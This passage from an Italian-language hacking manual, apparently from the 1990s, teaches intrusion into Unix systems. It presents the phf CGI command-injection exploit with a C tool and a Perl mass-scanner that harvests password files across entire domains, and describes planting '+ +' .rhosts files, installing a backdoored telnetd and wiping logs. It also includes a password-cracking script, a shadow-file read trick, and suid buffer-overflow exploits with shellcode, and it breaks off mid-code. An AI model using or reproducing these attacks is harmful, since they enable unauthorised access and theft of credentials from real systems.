bash# mkdir /mnt ; lets make one for them <g>rin

bash# mount -nt nfs xxxxxx.xxx:/export/usr /mnt ;Iniziamo a fare mount

bash# cd /mnt ; andiamo sul mounted drive...

bash# ls ; il classico comando di dir

TT_DB home raddb share

back local radius-961029.gz www

exec lost+found radius-961029.ps

bash# ;

bash# cd home

bash# ls -l ;

total 18

drwxr-xr-x 2 judy other 512 Feb 1 10:41 garry

drwxr-xr-x 69 infobahn other 5632 Mar 10 01:42 horke

drwxr-xr-x 11 301 other 2048 Mar 1 10:25 jens

drwxr-xr-x 2 300 other 512 Oct 15 07:45 joerg

drwxr-xr-x 2 604 other 512 Feb 8 13:00 mailadmin

drwxr-xr-x 2 melissa other 512 Sep 27 06:15 mk

drwxr-xr-x 6 news news 512 Mar 6 1996 news

drwxr-xr-x 2 303 other 512 Jan 24 04:17 norbert

drwxr-xr-x 4 jim other 512 Sep 27 06:16 pauk

drwxr-xr-x 2 302 other 512 Mar 1 10:10 tom

drwxr-xr-x 5 601 daemon 512 Jan 26 1996 viewx

drwxr-xr-x 10 15 audio 512 Oct 17 08:03 www

bash# ; tom e'l'utente #302

bash# pico /etc/passwd ;mettiamolo nella nostra passwd list

tom:x:302:2::/home:/bin/bash ;

bash# su - tom ; facciamo su sull'account di tom ...

bash$ ls -l

total 18

drwxr-xr-x 2 judy other 512 Feb 1 10:41 garry

drwxr-xr-x 69 infobahn other 5632 Mar 10 01:42 horke

drwxr-xr-x 11 301 other 2048 Mar 1 10:25 jens

drwxr-xr-x 2 300 other 512 Oct 15 07:45 joerg

drwxr-xr-x 2 604 other 512 Feb 8 13:00 mailadmin

drwxr-xr-x 2 melissa other 512 Sep 27 06:15 mk

drwxr-xr-x 6 news news 512 Mar 6 1996 news

drwxr-xr-x 2 303 other 512 Jan 24 04:17 norbert

drwxr-xr-x 4 jim other 512 Sep 27 06:16 pauk

drwxr-xr-x 2 tom other 512 Mar 1 10:10 tom

drwxr-xr-x 5 601 daemon 512 Jan 26 1996 view

drwxr-xr-x 10 15 audio 512 Oct 17 08:03 www

bash$ ;Nota che l'user number di tom non c'e'piu': ora la dir e'nostra!

bash$ echo + +>>tom/.rhosts ; this will make a file in his dir called .rhosts

bash$ ;inside .rhosts sara' wild cards + + per far accedere chiunque con rlogin

bash$ rlogin xxxxx.xxx Ora siamo tom sulla macchina facciamo rlogin

Last login: Fri Mar 7 00:16:03 from xxxxx.xxxxxxxxxx

Sun Microsystems Inc. SunOS 5.5 Generic November 1995

> ; yup we are in!

> ls -al

total 8

drwxr-xr-x 2 tom group 512 Mar 1 17:10 .

drwxr-xr-x 14 tom group 512 Jan 24 11:16 ..

-rw-r--r-- 1 tom group 144 Dec 30 15:32 .profile

-rw-r--r-- 1 tom bin 8 Mar 11 08:26 .rhosts

>

Ok,ora abbiamo l'accesso,iniziamo l'hack al sistema ....ops ..questa e'un altra

lezione!

-------------------------

Capitolo III

Recuperare i passwd files

-------------------------

Ci sono alcuni modi per ottenere i file delle password da sistemi unix. Nella

maggior parte dei casi ti servira' un account, ma c'e'anche un modo per entrare

in un sistema senza avere un account. Qui imparerai la differenza tra un normale

file di password ed un file di password shadowed. Imparerai anche un modo di

leggere un file di password shadowed.

------------------

Sezione 3A

PHF WWW PH Query

------------------

C'e'un programma nella directory WWW cgi-bin chiamato phf, se il file si trova

qui,e ha dei permessi di un certo tipo,puoi accederci usando www, o un browser

testuale presente in linux come lynx. Ora puoi leggere i file nel sistema (yup

.. /etc/passwd) e salvarli localmente sul tuo computer.

Ci sono molte altre cose che si posssono fare ora. Se il server fa girare httpd

come root,possiamo essere root usando phf e possiamo anche cambiare la password

di un account sulla macchina.

Includero' uno script in perl che fara' l'auto-check di tutti i sistemi usando

lo script getdomain.pl che si trova qui sotto e controllera' se il server sta

girando come root, in tal caso far' il log dell'id; altrimenti fara'

automaticamente il download del file di password dalla directory /etc e lo

chiamera' nomedominio.???.passwd.

Fara' anche l'attach di uno script che permettera' di usare un semplice comando

da una shell e se il phf e'sul sistema ti permettera' di accodare i comandi

dalla shell al sistema remoto con una sola riga di comando.

Ok,ora impariamo ad usare il phf.

Usa il tuo Web browser preferito,sia esso un browser grafico o testuale come ad

esempio lynx,presente sulla maggior parte dei sistemi unix.

Dopo che e'apparsa la schermata,premi il tasto g, ora appare una riga come

questa:

URL to open:

Arrow keys: Up and Down to move. Right to follow a link; Left to go back.

H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

Digita:

URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0aid

Arrow keys: Up and Down to move. Right to follow a link; Left to go back.

H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

Apparira':

QUERY RESULTS

/usr/local/bin/ph -m alias=x id

uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)

Cosi' vediamo che sta girando come utente (nobody), cosi',nel sistema, ora

possiamo essere un utente chiamato nobody. Non siamo root,ma e'quello che

dobbiamo ottenere ;)

Nota la riga di comando:

http://afp.org/cgi-bin/phf/?Qalias=x%0aid

L'ID era il comando al server per darci l'ID del'utente. Qualche volta dovrai

dare l'intero path del file che vuoi lanciare, in questo caso avrebbe dovuto

essere:

http://afp.org/cgi-bin/phf/?Qalias=x%0a/usr/bin/id

Nota che dopo %0a inizia la riga di comando. Se vuoi inserire uno spazio dovrai

scrivere %20 invece dello spazio. Queste sono delle linee di comando di esempio.

Le iniziero' con %0a

Fa il cat del passwd file

%0a/bin/cat%20/etc/passwd

Ottieni una long directory nella directory /etc di tutti i file che iniziano con

pass

%0als%20-al%20/etc/pass*

Fa il backup del password file se hai accesso di root con httpd a passwd.my

%0acp%20/etc/passwd%20/etc/passwd.my

Cambia la password di root (se il server te lo permette (e di solito lo fa))

%0apasswd%20root

(la riga qui sopra dovrebbe permettere di fare login senza password,ricorda di

copiare sempre il passwd.my sopra al file gia' presente, e quindi cancellare

sempre il backup,poi creati una suid shell bash da qualche parte e

rinominala,fai sniffing per trovare le tue password).

Se sai come digitare i comandi unix e non ti dimentichi di usare %20 al posto

degli spazi ,non avrai nessun problema!

Ok, recuperiamo il file di passwd su questo sistema ;)

Url da aprire: http://xxx.org/cgibin/phf/?Qalias=x%0acat%20/etc/passwd

Otteniamo:

QUERY RESULTS

 

/usr/local/bin/ph -m alias=x cat /etc/passwd

root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash

bin:*:1:1:bin:/bin:

daemon:*:2:2:daemon:/sbin:

adm:*:3:4:adm:/var/adm:

lp:*:4:7:lp:/var/spool/lpd:

sync:*:5:0:sync:/sbin:/bin/sync

shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown

halt:*:7:0:halt:/sbin:/sbin/halt

mail:*:8:12:mail:/var/spool/mail:

news:*:9:13:news:/usr/lib/news:

uucp:*:10:14:uucp:/var/spool/uucppublic:

operator:*:11:0:operator:/root:/bin/bash

games:*:12:100:games:/usr/games:

man:*:13:15:man:/usr/man:

postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash

nobody:*:-2:100:nobody:/dev/null:

ftp:*:404:1::/home/ftp:/bin/bash

guest:*:405:100:guest:/dev/null:/dev/null

bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash

web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash

mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash

Un piccolo file di passwd! Arghhhhh!!!

Se vuoi salvare questo in un file nella tua directory locale usa l'opzione

<p>rint nel browser testuale e potrai ora salvare il file nella vostra Home.

Impariamo qualcosa ora:

mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash

1 :2 :3 :4 :5 :6 :7

1=username 2=password criptata 3=numero dell'utente 4=group id 5=realname

6=home directory 7=shell

Ok, diciamo di non voler usare un browser Web, questo e'uno script che puoi

compilare per poter usare normali comandi dalla shell

phf.c

------ cut here----

/* Some small changes for efficiency by snocrash. */

/*

* cgi-bin phf exploit by loxsmith [xf]

*

* I wrote this in C because not every system is going to have lynx. Also,

* this saves the time it usually takes to remember the syntatical format

* of the exploit. Because of the host lookup mess, this will take

* approximately 12 seconds to execute with average network load. Be patient.

*

*/

#include <stdio.h>

#include <string.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <netdb.h>

#include <errno.h>

int main(argc, argv)

int argc;

char **argv;

{

int i = 0, s, port, bytes = 128;

char exploit[0xff], buffer[128], hostname[256], *command, j[2];

struct sockaddr_in sin;

struct hostent *he;

if (argc != 3 && argc != 4) {

fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);

exit(1);

}

command = (char *)malloc(strlen(argv[1]) * 2);

while (argv[1][i] != '\0') {

if (argv[1][i] == 32) strcat(command, "%20"); else {

sprintf(j, "%c", argv[1][i]);

strcat(command, j);

}

++i;

}

strcpy(hostname, argv[2]);

if (argc == 4) port = atoi(argv[3]); else port = 80;

if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {

he = gethostbyname(hostname);

if (he) {

sin.sin_family = he->h_addrtype;

memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0],

he->h_length);

} else {

fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname);

exit(1);

}

}

sin.sin_family = AF_INET;

sin.sin_port = htons((u_short) port);

if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {

fprintf(stderr, "%s: could not get socket\n", argv[0]);

exit(1);

}

if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {

close(s);

fprintf(stderr, "%s: could not establish connection\n", argv[0]);

exit(1);

}

sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s\n", command);

free(command);

write(s, exploit, strlen(exploit));

while(bytes == 128) {

bytes = read(s, buffer, 128);

fprintf(stdout, buffer);

}

close(s);

}

-------- cut here

 

Ecco come si puo' usare:

bash% phf id xxx.org

------

<H1>Query Results</H1>

<P>

/usr/local/bin/ph -m alias=X

id

<PRE>

uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)

</GET /cgi-bin/phf/?Qalias=X%0aid

------

Qui sopra si trova la risposta,ricorda di usare i codici% dopo i comandi

Per recuperare i file di passwd con questo programma devi scrivere:

phf cat%20/etc/passwd hostname.xxx

Un altro modo e'di usare phf scritto da Quantumg sulla sua pagina web.

Questo e'il testo:

New QG Phf Attack MO

--------------------

Ok, so che e'da tanto tempo che si considera phf come una buona strada per

attaccare ma sarai sorpreso da quanti stupidi operatori linux si trovano la

fuori...

prima un po' di spiegazione.

Phf e'un eseguibile cgi-bin che si trova sui web server apache. E Exploitable e

come risultato puoi eseguire comandi sul web server con il medesimo id di httpd,

di solito nobody ma qualche volta root. Per fare l'Exploit basta connettersi al

server e fornire questa query:

GET /cgi-bin/phf/?Qalias=X%0a

seguita dal comando che vuoi eseguire con %20 al posto degli spazi. Non puoi

fare piping di comandi,quoting, cambio di shell,etc.

Ok.. continuamo l'attacco. Quello che stiamo per fare e'cercare un sistema linux

(di solito faccio telnet al sistema per fare la verifica) che abbia il bug phf.

Io,come un gran numero di altre persone,uso il programma phf loxsmith per fare

exploit al bug phf. Tutto cio' che fa e'connettersi all'host specificato in

argv[2] e fa il dump della query con argv[1] come comando. Si usa in questo

modo:

phf id www.host.to.hack

dove id e'il comando che vuoi eseguire. Questa e'la prima cosa che farei.

Non solo mi dice se il sistema e'exploitable ma anche soot chi sta girando

httpd. Cosi' assumendo di ricevere una buona risposta, abbiamo una macchina su

cui fare hack. Il primo problema e trovare dello stuff sul box da eseguire. Non

e'un grosso problema. Puoi: 1) controllare le directory scrivibili con ftp o 2)

usare rcp. Per usare rcp devi sistemare un po' di cose sulla tua macchina, o

meglio su di una macchina precedentemente espugnata. La prima di queste cose

e'un account da usare per il trasferimento. Trova qualcosa di semplice

come,ad esempio,lo user name 'test' Poi devi inserire il nome dell'host su cui

fare hacking (www.host.to.hack) nel tuo /etc/hosts.equiv. Poi ti devi assicurare

di avere una riga di 'shell' nel tuo /etc/inetd.conf e di resettare inetd in

modo da leggere la riga. Infine devi creare un file rhosts nella home di 'test'

che ha il nome dell'host che stai crackando seguito dall'username sotto cui sta

girando httpd.

/etc/hosts.equiv:

www.host.to.hack

/etc/inetd.conf:

shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L

~test/.rhosts:

www.host.to.hack nobody

Di solito trasferivo piccoli hacks modificati in modo da lavorare mentre sono

eseguiti da phf. Non era una cosa piacevole o efficiente. ora esiste anche la

possibilita' di usare un in.telnetd modificato in modo da partire in 'debug

mode'che usa la porta 9999 ed esegue /bin/sh al posto di /bin/login. Prima di

eseguire la shell si biforca in modo da usare la porta 9999 e accettare quante

connessioni si desideri.

Cosi' per ottenere cio' sull'host remoto,quello che si deve fare e'di metterlo

nella homedir di 'test' (assicurati che sia leggibile) e digita:

phf 'rcp test@my.ip.address:bindwarez /tmp' www.host.to.hack

Nei log locali troverai un tentativo di connessione a in.rshd e il comando che

esegue (di solito 'rcp -f bindwarez') .. dopo che phf ha finito bindwares sara'

nella /tmp della macchina remota. Ora si puo' fare telnet alla porta 9999.

Se il web site e'abbastanza stupido da far girare httpd come root ti vorrai

proteggerlo installanod il trojan in.telnetd e cancellando i logs. Comunque di

solito avrai solo una shell 'nobody' e dovrai ottenere l'accesso di root in

altri modi. Di solito non e'un problema fare questo perche'l'admin considera'

garantito che nessuno avra' una shell nel loro sistema WWW e cosi' non ci sara'

bisogno di proteggerlo. Cosa che ovviamente non sa fare cosi' bene visto che ha

ancora un phf exploitable.

Non finiro' mai di dire quanto e'importante cancellare i logs. Il tuo indirizzo,

quello nel comando rcp che hai inviato e'li' in bella mostra per l'admin.

Non dovranno nemmeno cercarlo.Questi log sono di solito in

/usr/local/etc/httpd/logs e qualche volta in /var/lib/httpd/logs.

Il modo migliore di trovarlo e di cercare li' e in caso negativo scrivere:

find / -name cgi-bin.

Questo fara' al caso tuo. Non dimenticarti di killare i processi bindwarez e

di cancellare /tmp/bindwarez.

Questo e'un buon attacco che risolve molti problemi che rendono phf cosi' lungo

e pesante.

L8s

QuantumG

Un altro modo di usare phf sarebbe di usare lo script perl che si trova piu' in

alto chiamato getdomain.pl per estrarre i nomi degli host dai domain files su

rs.internic.net, dopo di che puoi testare ciascun domain sulla rete usando

geturl.pl.

Ecco lo script:

geturl.pl

--------- cut here

#!/usr/bin/perl -w

#

# geturl by Nfin8 / Invisible Evil

# Questions to: /msg i-e or /msg i^e

#

# Format of http://website.dom/cgi-bin/phf?Qalias=x%0a/usr/bin/id

# Format of http://website.dom/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

# IF result of first command returns an "id=" then check for user. If user

# is not root then execute the 2nd form.

# Assign null list to @URLs which will be added to later.

my(@URLs)=();

my($program) = "lynx -dump";

# Pull off filename from commandline. If it isn't defined, then assign default.

my($URLfilename) = shift;

$URLfilename = "urls" if !defined($URLfilename);

# Do checking on input.

die("GetURL: $URLfilename is a directory.\n") if (-d $URLfilename);

 

# Open and read contents of URL file into @URL by line.

open(FILE, $URLfilename) or die("GetURL: Cannot open $URLfilename for

input.\n");

@URLs = <FILE>;

close(FILE);

# Open output file.

open(OUTFILE, ">>GetURLResults") or die("GetURL: Cannot open output file.\n");

my($url)="";

foreach $url (@URLs) {

print ("Now checking: $url");

chomp($url);

$result = `$program http://${url}/cgi-bin/phf?Qalias=x%0a/usr/bin/id`;

print OUTFILE ("\n============ $url ============\n");

foreach (split(/\n/, $result)) {

print OUTFILE ("$_\n");

}

if ($result =~ m/id=/i) {

if ($result =~ m/root/i) {

print ("Logging root response.\n");

} else {

print ("Got ID response, getting /etc/passwd...");

$result = `$program http://${url}/cgi-

bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd`;

 

# Output results to file named <domain>.passwd;

local($domainfilename)="";

$domainfilename = $url;

if (open(PASSWDFILE, ">${domainfilename}.passwd")) {

print PASSWDFILE ("\n");

foreach (split(/\n/, $result)) {

print PASSWDFILE ("$_\n");

}

close(PASSWDFILE);

print ("Done! [$domainfilename].\n");

} else {

print ("FAILED! [$domainfilename].\n");

}

}

}

}

 

# We are done. Close the output file and end the program.

close (OUTFILE);

 

0;

 

------------- cut here

Ok,questo e'facile,basta digitare geturl.pl dopo chmod +x sul file.

Questa e'la mia documentazione per il file:

Questo utile tool e'facile da usare e con esso otterrai alcuni accessi di root e

molte password da vari domain.

geturl.pl provera' e fara' il log dei risultati per ciascun domain sul web. Tu

scegli il tipo: .COM .EDU

.ORG .MIL .GOV (o) puoi inserire una lista di indirizzi IP da controllare. Se

trova un accesso di root fara' il log e procedera' col successivo. Se phf Probe

trova accessi non di root recuperera' per te il file di password e lo salvera'

nella attuale directory nel formato (domainname.???.passwd)

Questa e'una breve documentazione . Per qualunque domanda /msg i-e o i^e

fai ftp a ftp.rs.internic.net

nella directory di domain troverai:

com.zone.gz

edu.zone.gz

gov.zone.gz

mil.zone.gz

net.zone.gz

org.zone.gz

scarica questi file e lancia getdomain.pl sui domain da controllare per primi:

perl getdomain.pl com.zone com >com.all

Questo fara' il controllo di tutti i domini .COM e creera' il file com.all in

cui mettera' i risultati della ricerca.

Per fare la stessa cosa con i domini .EDU:

perl getdomain.pl edu.zone edu >edu.all

Cosi' avremo una lista da usare con geturl.pl chiamata edu.all

Per usarla digita:

geturl.pl <filename>

filename=edu.all or com.all e non mettere le <>

I riultati saranno loggati in un file chiamato GetURLResults nella attuale

directory.

1) geturl.pl usera' LYNX (verifica che sia nel tuo path)

2) se geturl trova accesso di root ad httpd in un url fara' il log di quel

dominio nel result file. Se geturl non trova accesso di root ma riesce ad

accedere al dominio con phf, scarichera' il file di password nella

directory attuale, con il nome nomecompletodeldominio.passwd

3) Se vuoi puoi ottenere una lista di indirizzi IP nel feed file.

4) Io uso os/2 e ho fatto il porting in hpfs di lynx e perl e cosi' non ho

problemi con i nomi lunghi dei file. L'ho testato con unix ed e'tutto ok, cois'

non ci dovrebbero essere problemi usando questo sistema in una shell unix.

Cosa ti serve:

1. Perl nel path

2. Lynx nel path

3. Filenames di 256 caratteri (unix o 0s/2 hpfs)

4. i files inclusi qui

5. I domain files inclusi nell'ftp di internic oppure una lista personale di

urls o ip address e chiama il file 'urls' poi digita: geturl.pl

Attenzione:

Sarebbe meglio se tu avessi pagato in contanti per il tuo account Internet

usando un altro nome oppure possiamo usare un hacked account per ottenere tutti

i results per poi utilizzare un altro account sicuro per iniziare a lavorare. Ma

non serve che te lo dica vero? Non devo biasimare me stesso per questi file,

essi vengono forniti per controllare la sicurezza dei domini. ;)

getdomain.pl: to rip .ORG .COM .EDU .MIL .GOV Internic domain files

geturl.pl: to check and log the results of each domain

GetURLResults: The file that geturl makes as its log file

Ecco un altra 'dritta':

Se puoi leggere il file /var/adm/messages puoi trovare alcune password di utenti

e persino delle password di ROOT!

Quante volte hai avuto fretta di fare login? Digiti la password al posto della

login. Questo e'facile in una di quelle giornate in cui nulla sembra che vada

bene. Hai sbagliato 2 volte la login,il sistema gira lento, e cosi'...succede!

Login: premi invio

Password: pensi che voglia la login e cosi' scrivi il tuo nome

Login: digiti la tua password

Nel message file appare cosi':

login: latuapassword

password ******* Non te l'hanno data, dovresti avere solo il login name, ma

oops, hai digitato la tua password,e se possiamo leggere il message file,abbiamo

una buona password da mettere in crackerjack.

Ecco uno script per facilitare le cose!

PER IL FILE BINDWAREZ BY QUANTUM: lo troverai alla file del testo nell'appendice

FILE UUENCODATI.

------------ cut here

#!/bin/sh

# Under a lot of linux distributions(I know Redhat 3.0.3 and Slackware 3.0)

# /var/log/messages is world readable. If a user types in his password at

# the login prompt, it may get logged to /var/log/messages.

#

# I could swear this topic has been beaten to death, but I still see this

# problem on every linux box I have access to.

#

# Dave G.

# 12/06/96

# <daveg@escape.com>

# http://www.escape.com/~daveg

echo Creating Dictionary from /var/log/messages, stored in /tmp/messages.dict.$$

grep "LOGIN FAILURE" /var/log/messages | cut -d',' -f2 | cut -c2- | sort | uniq

>> /tmp/messages.dict.$$

if [ ! -e ./scrack ]

then

echo "Creating scrack.c"

cat << ! > scrack.c

#include <stdio.h>

#include <unistd.h>

#include <pwd.h>

#include <sys/types.h>

#define get_salt( d, s ) strncpy( d, s, 2 )

void

main(argc,argv)

int argc;

char **argv;

{

struct passwd *pwd;

FILE *fp;

char buff[80], salt[3], *encrypted_string;

if ( ( fp = fopen( argv[1], "r" ) ) == NULL )

{

fprintf( stderr, "Couldnt find dict file\n" );

exit(1);

}

while ( fgets( buff, 80, fp ) != NULL )

{

setpwent();

buff[strlen(buff)-1]='\0';

while ( ( pwd = getpwent() ) != NULL )

{

if ( strcmp( (*pwd).pw_passwd, "*" ) != 0 &&

( strlen( (*pwd).pw_passwd ) == 13 ) )

{

get_salt(salt, (*pwd).pw_passwd );

encrypted_string = crypt( buff, salt );

if ( strcmp( encrypted_string, (*pwd).pw_passwd ) == 0 )

{

fprintf( stdout, "l: %s p: %s\n", (*pwd).pw_name, buff);

fflush(stdout);

}

}

}

}

}

!

echo "Creating scrack"

cc -O6 -fomit-frame-pointer -s -o scrack scrack.c

fi

./scrack /tmp/messages.dict.$$

echo /tmp/messages.dict.$$, ./scrack, and ./scrack.c still exist, delete them

yourself.

------ cut here

-----------------------

Sezione 3B

Novellini

-----------------------

Ancora un altro posto dove trovare passwd files. Basta seguire le istruzioni

nella sezione 2B.

------------------------------

Sezione 3C

Ottenere i shadow passwd files

------------------------------

Cos'e'un shadow passwd file?

Usiamo il passwd file qui sotto per mostrare come apparirebbe se lo editassi:

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:

daemon:x:2:2:daemon:/sbin:

adm:x:3:4:adm:/var/adm:

lp:x:4:7:lp:/var/spool/lpd:

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:

news:x:9:13:news:/usr/lib/news:

uucp:x:10:14:uucp:/var/spool/uucppublic:

operator:x:11:0:operator:/root:/bin/bash

games:x:12:100:games:/usr/games:

man:x:13:15:man:/usr/man:

postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash

nobody:x:-2:100:nobody:/dev/null:

ftp:x:404:1::/home/ftp:/bin/bash

guest:x:405:100:guest:/dev/null:/dev/null

bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash

web:x:502:100:Web Master:/home/web:/bin/bash

mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash

Manca qualcosa? Yup, le password criptate. Se ottieni accesso di root le

password criptate sono in /etc/shadow. Alcuni Admin nasconderanno il shadow file

in qualche directory da qualche parte, ma perlopiu' lo troverai in /etc. Altri

shadow programs lo potranno mettere nel file master.passwd. Ma se ottieni il

root access, dai una occhiata in giro.

Diciamo che hai un accesso alla macchina ma non riesci ad accedere a root.

Non e'un problema se stanno usando libc 5.4.7, e in questo mometo molti lo

fanno! Almeno uno di questi file ha permessi di suid :

ping, traceroute, rlogin, oppure, ssh

1. Digita bash o sh per lanciare una shell

2. Digita export RESOLV_HOST_CONF=/etc/shadow

3. Digita uno dei nomi dei file qui sopra con asdf ,in questo modo:

ping asdf

Dovrebbe trovare il shadow passwd file per te ,se funziona. Sembra che

funzioni sulla maggioranza dei sistemi attualmente.

Nota: Puoi sostituire /etc/passwd con qualunque file posseduto da ROOT che tu

voglia leggere.

Ecco un veloce script che puoi lanciare su qualunque file per rendere il tutto

piu' semplice:

rcb.c

-------- cut here

/* RCB Phraser - therapy in '96

* Limits: Linux only, no binary files.

* little personal message to the world: FUCK CENSORSHIP!

*/

#include <stdio.h>

void getjunk(const char *filetocat)

{ setenv("RESOLV_HOST_CONF",filetocat,1);

system("ping xy 1> /dev/null 2> phrasing");

unsetenv("RESOLV_HOST_CONF");

}

void main(argc,argv)

int argc; char **argv;

{ char buffer[200];

char *gag;

FILE *devel;

 

if((argc==1) || !(strcmp(argv[1],"-h")) || !(strcmp(argv[1],"--help")))

{ printf("RCB Phraser - junked by THERAPY\n\n");

printf("Usage: %s [NO OPTIONS] [FILE to cat]\n\n",argv[0]);

exit(1);

}

getjunk(argv[1]);

gag=buffer;

gag+=10;

devel=fopen("phrasing","rb");

while(!feof(devel))

{ fgets(buffer,sizeof(buffer),devel);

if(strlen(buffer)>24)

{ strcpy(buffer+strlen(buffer)-24,"\n");

fputs(gag,stdout);

}

}

fclose(devel);

remove("phrasing");

}

-------------- cut here

riga di comando: rcb /etc/shadow o qualunque altro file sul sistema che non puoi

leggere ;)

--------------------

Sezione 3D

Ottenere /etc/hosts

--------------------

Solo una precauzione, qualche volta ti servira' sapere cosa siano i vari sistemi

nell'host file, o cosa siano tutti gli indirizzi ip o i differenti domini nel

sistema. Assicurati di recuperare il file /etc/hosts per maggiori informazioni

di cui potresti aver bisogno in futuro.

---------------------------

Capitolo IV

Guadagna l'account di root

---------------------------

Come ho detto prima, nella maggior parte dei casi, tutto cio' che hai bisogno e'

un account e se non riesci ad averlo potresti scambiarlo con qualcuno in

qualche IRC (c'e' sempre qualcuno che vuole farsi notare). In questo manuale ci

sono info sufficienti e se nonostante questo non riesci a guadagnare l'account

di root vuol dire che quel sistema e' sicuro e lo sara' probabilmente anche in

futuro.

Ma non scoraggiarti. Puoi sempre tenere le informazioni su quel sistema da

parte,scrivere qualche appunto e aspettare che esca qualche nuovo exploit.

Cerca di stare fuori dal sistema fino a quel momento in modo da non perdre

l'account. Ricorda che quando ti logghi in un account e non hai i permessi

di root, non puoi cancellare i file di log, quindi quando l'utente proprietario

dell'account si logghera' a sua volta vedra' un messaggio che dice:

last login from xxx.com time:0:00 date:xx/xx/xx

In questo modo potrebbe scoprire che qualcuno si e' loggato col suo account.

-----------

Sezione 4A

Bugs

-----------

Ci sono molti bug nei programmi di un sistema che ti permettono di avere

l'accesso a root. Puo' essere un gioco installato sul sistema oppure il sendmail.

Se loro non aggiornano il sistema con nuove patch stai pur certo che prima o poi

entri dentro come root.

Insieme a questo manuale noi della IHS abbiamo riportato molti exploit per UNIX,

HP-UNIX e Linux. (ce ne sara' uno che funziona...).

Mi raccomando finisci di leggere il manuale prima di iniziare una intrusione

altrimenti rischi di farti beccare oppure di restare nel sistema per lungo

tempo senza combinare nulla.

-----------

Sezione 4B

Exploits

-----------

Adesso presentiamo alcuni exploit molto comuni che in un sistema appena decente

non funzioneranno. Il nostro intento, pero', e' quello di farvi vedere come

funziona un exploit e questi esempi ci parevano molto istruttivi.

umount/mount exploit

Cerca nella directory /bin un file chiamato umount(o mount),se non lo trovi cercalo

nel sistema cosi':

find / -name umount -print -xdev

Vai nella directory dove si trova il file e digita:

ls -al um*

Se questo file ha permessi suid allora probabilmente diventerai root.

I permessi suid sono: rws per il proprietario che e' root. Praticamente

cosi':

victim:/bin# ls -al um*

-rwsr-sr-x 1 root 8888 Mar 21 1995 umount

victim:/bin#

Possiamo diventare root compilando il file qui sotto:

umount.c

------ cut here

/* sno.c : Linux realpath exploit

* Syntax: ./sno N

* mount $WOOT

* OR umount $WOOT

* N is some number which seems to differ between 4 & 8, if your number is

* too big, you will get a mount error, if it is too small, it will seg

* fault. Figure it out. (Sometimes N=0 for mount)

* If you use mount, first thing to do once you get the root shell is rm

* /etc/mtab~, if this file exists you can't root with mount until it is

* removed.

*

*

* -ReDragon

*/

#define SIZE 1024

long get_esp(void)

{

__asm__("movl %esp,%eax\n");

}

main(int argc, char **argv)

{

char env[SIZE+4+1]; /* 1024 buffer + 4 byte return address + null byte */

int a,r;

char *ptr;

long *addr_ptr;

char execshell[] =

"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"

"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"

"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

char *exec_ptr = execshell;

r=atoi(argv[1]);

ptr = env;

memcpy(ptr,"WOOT=",5); /* set environment variable to use */

ptr += 5;

for(a=0;a<SIZE+4-strlen(execshell)-r;a++) /* pad front with NOPs */

*(ptr++) = 0x90;

while (*exec_ptr)

*(ptr++) = *(exec_ptr++);

addr_ptr = (long *)ptr;

*(addr_ptr++) = get_esp()+1139; /* 0xbffffc01 */

ptr = (char *) addr_ptr;

*ptr = 0; /* must end with null byte to terminate string */

putenv(env);

system("/bin/mount $WOOT");

}

----------- cut here

************************************

Per compilare il file nella macchina vittima digita : gcc umount.c -o um (o

come vuoi chiamarlo)

In questo modo creerai un file chiamato um che puoi eseguire.

Con questo exploit devi dare un numero come:

./um 0 oppure ./um 4 .... fino all'8

*********************************************

Se fallisci potresti provare lpr. Cerca in /usr/bin lpr e controlla se ha i

permessi suid...

ls -l lpr

Ok ha i permessi suid... Usa questo script

*************************************

lpr.linux.c

------------- cut here

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#define DEFAULT_OFFSET 50

#define BUFFER_SIZE 1023

long get_esp(void)

{

__asm__("movl %esp,%eax\n");

}

void main()

{

char *buff = NULL;

unsigned long *addr_ptr = NULL;

char *ptr = NULL;

u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"

"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"

"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"

"\xd7\xff\xff\xff/bin/sh";

int i;

buff = malloc(4096);

if(!buff)

{

printf("can't allocate memory\n");

exit(0);

}

ptr = buff;

memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));

ptr += BUFFER_SIZE-strlen(execshell);

